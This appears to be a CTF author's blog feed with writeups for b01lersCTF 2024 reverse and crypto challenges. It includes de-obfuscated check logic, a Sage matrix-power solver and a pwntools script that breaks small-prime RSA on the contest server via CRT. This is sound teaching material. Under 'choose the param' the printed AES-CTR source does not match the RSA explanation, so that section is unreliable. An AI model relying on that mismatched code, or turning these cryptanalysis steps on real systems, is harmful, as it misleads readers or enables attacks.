<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://blog.bronson113.org/feed.xml" rel="self" type="application/atom+xml" /><link href="http://blog.bronson113.org/" rel="alternate" type="text/html" /><updated>2026-09-19T03:42:09+00:00</updated><id>http://blog.bronson113.org/feed.xml</id><title type="html">Bronson113’s Blog</title><subtitle></subtitle><author><name>Bo-Shiun Yen</name></author><entry><title type="html">b01lersCTF 2024 Author Writeup</title><link href="http://blog.bronson113.org/2024/04/15/b01lersctf-2024-author-writeup.html" rel="alternate" type="text/html" title="b01lersCTF 2024 Author Writeup" /><published>2024-04-15T00:00:00+00:00</published><updated>2024-04-15T00:00:00+00:00</updated><id>http://blog.bronson113.org/2024/04/15/b01lersctf-2024-author-writeup</id><content type="html" xml:base="http://blog.bronson113.org/2024/04/15/b01lersctf-2024-author-writeup.html"><![CDATA[<h2 id="overview">Overview</h2>

<p>Time flies. Suddenly it’s been one full year since the last b01lersCTF. This year’s edition featured A LOT more challenges and seems like an overall success. Prop to the new President (<a href="https://gabri3l.net/">@Gabe</a>) for organizing the whole event!
This year I created 5 challenges for b01lersCTF, and I hoped that everyone enjoyed them.</p>

<!--more-->

<p>Without further ado, here are the writeups for my challenges. The source code for all of the challenges can be found <a href="https://github.com/bronson113/My_CTF_Challenges/tree/main/b01lersCTF2024">HERE</a>!</p>

<h2 id="reverse">Reverse</h2>

<h3 id="js-safe">js-safe</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Crack the safe...

`http://gold.b01le.rs:4006`
Solves: 84 solves / 355 points
</pre></td></tr></tbody></table></code></pre></div></div>

<p>When you visit the website, you’ll see a numpad. Now let’s try to click some buttons. You’ll notice that it checks if you’re number is correct when you’ve entered 6 “digits”. Notice that the check is done on the front end, hence we have access to the full logic. Now, the source is unreadable, and some anti-debugging seems to be in place. One way is to go backward. You can find some mention of CryptoJS in the source file. We can “guess” that that’s where our flag is decrypted and displayed. Right before that, there is a sequence of <code class="language-plaintext highlighter-rouge">&amp;=</code> with a variable. This checks if the results are all true to then call our decrypted function. This should be the key to our solution.</p>

<p>Now after reconstructing all the constants from the obfuscated code, we can get a picture of how the password is checked.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>let pass = true;
pass&amp;=(pw[4] == (pw[1] - 4));
pass&amp;=(pw[1] == (pw[0] ^ 68));
pass&amp;=(pw[0] == (pw[2] - 7));
pass&amp;=(pw[3] == (pw[2] ^ 37));
pass&amp;=(pw[5] == (pw[0] ^ 20));
pass&amp;=(pw[4] == (pw[1] - 4));
pass&amp;=(pw[0] == (pw[3] ^ 34));
pass&amp;=(pw[0] == (pw[2] - 7));
pass&amp;=(pw[0] == (pw[5] + 12));
pass&amp;=(pw[2] == (pw[4] + 71));
pass&amp;=(pw[2] == (pw[5] ^ 19));
pass&amp;=(pw[5] == (pw[3] ^ 54));
pass&amp;=(82 == (pw[3]));
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We then retrieve the password by solving those constraints. This can be done with any sat solver, or by hand since there are only 6 digits. The twist here is that the password isn’t actually just digits, but contains letters as well. If you now enter the password to the function itself through <code class="language-plaintext highlighter-rouge">addToPassword</code> function, the program will decrypt the flag for us!</p>

<p><code class="language-plaintext highlighter-rouge">bctf{345y-p4s5w0rd-&gt;w&lt;}</code></p>

<h3 id="catch-me-if-you-can">catch me if you can</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>I give you this flag generator, but it's too slow. You need to speed up to catch me =D

Solves: 6 solves / 493 points
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given a pyc file, but pycdc can’t decompile it. It seems like this file uses some sort of match statements, so pycdc can’t decompile it back into the python source. The other thing is that all the variable names seem to be obfuscated.</p>

<p>After some reversing, you’ll notice that the file clearly splits into two parts. 
An array is first constructed, acting like a key of some sort. 
Then, each value is xored with a value that’s generated using a complicated algorithm. However, the later the character, the longer the algorithm seems to take to finish. So our goal is to speed up this algorithm.</p>

<p>Notice that there is a weird try-except-finally block in the script. In fact, the challenge is intentionally triggering a divide by zero exception and using that to change the program flow. After some de-obfuscation, the control flow looks like this (with <code class="language-plaintext highlighter-rouge">i</code> being the current loop ID):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="k">try</span><span class="p">:</span>
  <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">,</span> <span class="mi">50</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">j</span><span class="o">/</span><span class="p">(</span><span class="n">j</span><span class="o">-</span><span class="n">i</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> <span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">j</span><span class="p">)</span>
  <span class="n">n</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">**</span> <span class="n">i</span>
<span class="k">except</span><span class="p">:</span>
  <span class="n">n</span> <span class="o">=</span> <span class="n">n</span> <span class="o">**</span> <span class="mi">3</span>
<span class="k">finally</span><span class="p">:</span>
  <span class="n">n</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">**</span> <span class="n">i</span> <span class="c1"># *This line shouldn't be here
</span>  <span class="n">some_alg</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="c1"># apply that function n iterations to get our key
</span></pre></td></tr></tbody></table></code></pre></div></div>

<blockquote>
  <p>*: The given program file actually won’t print out the full flag, which I only discovered after the competition had ended.
Seems like 6 teams guessed my intention and still ended up with a solution. This is an oversight on my part, as the encoded flag is generated in another script without that.</p>
</blockquote>

<p>Now here is the pseudocode of the algorithm:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">some_alg</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
    <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span>
    <span class="n">mod</span> <span class="o">=</span> <span class="mi">1000000007</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
        <span class="n">match</span> <span class="p">(</span><span class="n">i</span><span class="o">%</span><span class="mi">3</span><span class="p">,</span> <span class="n">i</span><span class="o">%</span><span class="mi">5</span><span class="p">):</span>
            <span class="n">case</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">):</span>
                <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span><span class="p">)</span><span class="o">%</span><span class="n">mod</span>
            <span class="n">case</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">_</span><span class="p">):</span>
                <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">b</span><span class="o">+</span><span class="n">c</span><span class="p">)</span><span class="o">%</span><span class="n">mod</span>
            <span class="n">case</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">_</span><span class="p">):</span>
                <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">b</span><span class="p">)</span><span class="o">%</span><span class="n">mod</span>
            <span class="n">case</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">_</span><span class="p">):</span>
                <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">c</span><span class="p">)</span><span class="o">%</span><span class="n">mod</span>
    <span class="k">return</span> <span class="n">a</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The algorithm is similar to a fibonacci sequence (imo), but more complicated. Firstly, the state transition is not fixed, but in a fizzbuzz like manner. In addition, three previous states are used to derive the next state. Thankfully, all transition is modded, so the result won’t grow extremely large.</p>

<p>Despite the difference to the normal fibonacci sequence, you can still model 15 iterations of this algorithm as a transition matrix, and use repeated squaring on that matrix to get results faster.
However, when the iteration count is too high (as it’s expected to go to $3^{25^{3\times 25}}$), The power itself is hard to compute. The trick is to reduce this using the multiplicative order of the matrix, which turns out to be our mod squared and get the result back really fast.
You still need to be aware of some minor details though, since the matrix represents 15 iterations, you’ll need to be careful when working with the remainder. Personally, I did the iteration count mod ${15\times mod^2}$ to avoid the issue, but there might be some other ways as well. I know that some teams used some very different modulo and still got the same result (like mod+1).</p>

<p><code class="language-plaintext highlighter-rouge">bctf{we1rd_pyth0nc0d3_so1v3_w1th_f4s7_M47r1x_Mu1t}</code></p>

<div class="accordion mb-2" id="catch_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-catch_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#catch_solve-content" aria-expanded="true" aria-controls="catch_solve-content">
         <p>Show solve.sage</p>
 
      </button>
    </p>
    <div id="catch_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-catch_solve" data-bs-parent="#catch_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">random</span>

<span class="n">target</span> <span class="o">=</span> <span class="p">[</span><span class="mi">96</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">68</span><span class="p">,</span> <span class="mi">160</span><span class="p">,</span> <span class="mi">172</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">25</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">208</span><span class="p">,</span> <span class="mi">71</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">63</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">59</span><span class="p">,</span> <span class="mi">180</span><span class="p">,</span> <span class="mi">165</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">177</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">166</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">172</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">198</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="mi">167</span><span class="p">,</span> <span class="mi">17</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">132</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">195</span><span class="p">,</span> <span class="mi">19</span><span class="p">,</span> <span class="mi">38</span><span class="p">,</span> <span class="mi">151</span><span class="p">,</span> <span class="mi">203</span><span class="p">,</span> <span class="mi">163</span><span class="p">,</span> <span class="mi">211</span><span class="p">,</span> <span class="mi">27</span><span class="p">,</span> <span class="mi">73</span><span class="p">,</span> <span class="mi">98</span><span class="p">]</span>

<span class="n">mod</span> <span class="o">=</span> <span class="mi">1000000007</span>
<span class="n">F</span> <span class="o">=</span> <span class="n">GF</span><span class="p">(</span><span class="n">mod</span><span class="p">)</span>
<span class="n">transitionA</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,</span> <span class="p">[</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
        <span class="p">]).</span><span class="n">T</span>
<span class="n">transitionB</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,[</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
        <span class="p">]).</span><span class="n">T</span>
<span class="n">transitionC</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,[</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
        <span class="p">]).</span><span class="n">T</span>
<span class="n">transitionD</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">(</span><span class="n">F</span><span class="p">,[</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span>
        <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
        <span class="p">]).</span><span class="n">T</span>

<span class="k">def</span> <span class="nf">gen_remain</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
    <span class="n">total_transition</span> <span class="o">=</span> <span class="n">matrix</span><span class="p">.</span><span class="n">identity</span><span class="p">(</span><span class="n">F</span><span class="p">,</span> <span class="mi">3</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">i</span><span class="o">%</span><span class="mi">5</span> <span class="o">==</span> <span class="mi">0</span> <span class="ow">and</span> <span class="n">i</span><span class="o">%</span><span class="mi">3</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">total_transition</span> <span class="o">=</span> <span class="n">total_transition</span> <span class="o">*</span> <span class="n">transitionD</span>
        <span class="k">elif</span> <span class="n">i</span><span class="o">%</span><span class="mi">3</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">total_transition</span> <span class="o">=</span> <span class="n">total_transition</span> <span class="o">*</span> <span class="n">transitionA</span>
        <span class="k">elif</span> <span class="n">i</span><span class="o">%</span><span class="mi">3</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
            <span class="n">total_transition</span> <span class="o">=</span> <span class="n">total_transition</span> <span class="o">*</span> <span class="n">transitionB</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">total_transition</span> <span class="o">=</span> <span class="n">total_transition</span> <span class="o">*</span> <span class="n">transitionC</span>
    <span class="k">return</span> <span class="n">total_transition</span>



<span class="n">T</span> <span class="o">=</span> <span class="n">gen_remain</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span>
<span class="n">initial</span> <span class="o">=</span> <span class="n">vector</span><span class="p">(</span><span class="n">F</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span>
<span class="n">order</span> <span class="o">=</span> <span class="n">T</span><span class="p">.</span><span class="n">multiplicative_order</span><span class="p">()</span>
<span class="n">F2</span> <span class="o">=</span> <span class="n">Zmod</span><span class="p">(</span><span class="n">order</span><span class="o">*</span><span class="mi">15</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">not_fibonacci</span><span class="p">(</span><span class="n">count</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">int</span><span class="p">((</span><span class="n">initial</span> <span class="o">*</span> <span class="p">(</span><span class="n">T</span><span class="o">**</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">count</span><span class="p">)</span><span class="o">//</span><span class="mi">15</span><span class="p">))</span> <span class="o">*</span> <span class="n">gen_remain</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">count</span><span class="p">)</span><span class="o">%</span><span class="mi">15</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>

<span class="n">base</span> <span class="o">=</span> <span class="mi">3</span>

<span class="n">result</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">50</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">,</span> <span class="mi">50</span><span class="p">):</span>
            <span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">j</span> <span class="o">/</span> <span class="p">(</span><span class="n">j</span><span class="o">-</span><span class="n">i</span><span class="p">))</span>
        <span class="n">iter_count</span> <span class="o">=</span> <span class="n">base</span> <span class="o">**</span> <span class="p">(</span><span class="n">i</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">ZeroDivisionError</span><span class="p">:</span>
        <span class="n">iter_count</span> <span class="o">=</span> <span class="n">F2</span><span class="p">(</span><span class="n">iter_count</span> <span class="o">**</span> <span class="n">base</span><span class="p">)</span>
    <span class="k">finally</span><span class="p">:</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">not_fibonacci</span><span class="p">(</span><span class="n">iter_count</span><span class="p">)</span>

        <span class="n">flag</span> <span class="o">=</span> <span class="p">(</span><span class="n">target</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">^^</span> <span class="p">(</span><span class="n">key</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">flag</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">""</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="crypto">Crypto</h2>

<h3 id="choose-the-param">choose the param</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>I wounder why we need to specify parameter length in the spec...

`nc gold.b01le.rs 5001`
Solves: 46 solves / 432 points
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c1">#!/bin/python3
</span><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">flag</span>
<span class="kn">import</span> <span class="nn">os</span>


<span class="k">def</span> <span class="nf">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">nonce</span><span class="p">):</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CTR</span><span class="p">,</span> <span class="n">nonce</span><span class="o">=</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">nonce</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">).</span><span class="nb">hex</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">chal</span><span class="p">():</span>
    <span class="n">key</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Treat or Trick, count my thing. "</span><span class="p">)</span>
    <span class="n">nonce_counter</span> <span class="o">=</span> <span class="mi">1</span>
    <span class="k">print</span><span class="p">(</span><span class="n">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">flag</span><span class="p">,</span> <span class="n">nonce_counter</span><span class="p">))</span>
    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">nonce_counter</span> <span class="o">+=</span> <span class="mi">1</span>
        <span class="n">to_enc</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Give me something to encrypt: "</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">Encrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">to_enc</span><span class="p">),</span> <span class="n">nonce_counter</span><span class="p">))</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">chal</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This challenge is quite straightforward. We are given a service that will encrypt the flag using primes of the length of our choice. It’s clear that with a small prime, we can easily factor N, and recover m. However, since the flag is padded on both ends, we won’t gain any useful information if our prime is too small, or do we?</p>

<p>If we check what we actually retrieved from the RSA decryption, we get $ m = c^{d} \mod{n} $. This means that we get $m \mod{n}$ for each query. If we have multiple pairs of these m, we can recover the full m using Chinese Remainder Theorem.</p>

<p><code class="language-plaintext highlighter-rouge">bctf{dont_let_the_user_choose_the_prime_length_&gt;w&lt;}</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="n">Integer</span><span class="p">,</span> <span class="n">CRT</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"gold.b01le.rs"</span><span class="p">,</span> <span class="mi">5001</span><span class="p">)</span>

<span class="n">ms</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">ns</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">bits</span> <span class="o">=</span> <span class="mi">500</span><span class="o">*</span><span class="mi">8</span>
<span class="n">prime_len</span> <span class="o">=</span> <span class="mi">48</span>
<span class="k">print</span><span class="p">(</span><span class="n">bits</span><span class="o">//</span><span class="n">prime_len</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">bits</span><span class="o">//</span><span class="n">prime_len</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"primes&gt; "</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">prime_len</span><span class="p">))</span>

    <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
    <span class="n">e</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">" = "</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>

    <span class="p">(</span><span class="n">P</span><span class="p">,</span> <span class="n">_</span><span class="p">),</span> <span class="p">(</span><span class="n">Q</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">(</span><span class="n">n</span><span class="p">).</span><span class="n">factor</span><span class="p">()</span>
    <span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">P</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">Q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">),</span> <span class="n">n</span><span class="p">)</span>
    <span class="n">ms</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
    <span class="n">ns</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>

<span class="n">flag</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="n">CRT</span><span class="p">(</span><span class="n">ms</span><span class="p">,</span> <span class="n">ns</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">200</span><span class="p">:</span><span class="o">-</span><span class="mi">200</span><span class="p">])</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="count-the-counter">count the counter</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>000 001 010 011 100...

`nc gold.b01le.rs 5002`
Solves: 26 solves / 466 points
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c1">#!/bin/python3
